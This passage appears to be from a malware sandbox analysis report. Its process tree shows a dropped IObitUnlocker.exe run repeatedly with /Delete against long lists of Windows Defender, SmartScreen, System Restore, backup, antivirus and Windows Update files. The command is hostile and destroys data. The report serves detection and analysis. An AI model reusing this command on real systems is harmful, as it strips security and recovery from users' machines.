ys","C:\Windows\system32\migwiz","C:\Windows\system32\migration","C:\Windows\SysWOW64\migwiz","C:\Windows\SysWOW64\migration","C:\Windows\Migration","C:\Windows\SystemMigration","C:\ProgramData\Microsoft\Network\Downloader","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4732
                                      • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\drivers\wuauserv.sys","C:\Windows\SysWOW64\drivers\wuauserv.sys","C:\Windows\system32\drivers\BITS.sys","C:\Windows\SysWOW64\drivers\BITS.sys","C:\Windows\system32\migwiz","C:\Windows\system32\migration","C:\Windows\SysWOW64\migwiz","C:\Windows\SysWOW64\migration","C:\Windows\Migration","C:\Windows\SystemMigration","C:\ProgramData\Microsoft\Network\Downloader","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4976
                                      • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\drivers\wuauserv.sys","C:\Windows\SysWOW64\drivers\wuauserv.sys","C:\Windows\system32\drivers\BITS.sys","C:\Windows\SysWOW64\drivers\BITS.sys","C:\Windows\system32\migwiz","C:\Windows\system32\migration","C:\Windows\SysWOW64\migwiz","C:\Windows\SysWOW64\migration","C:\Windows\Migration","C:\Windows\SystemMigration","C:\ProgramData\Microsoft\Network\Downloader","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:2648
                                      • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Win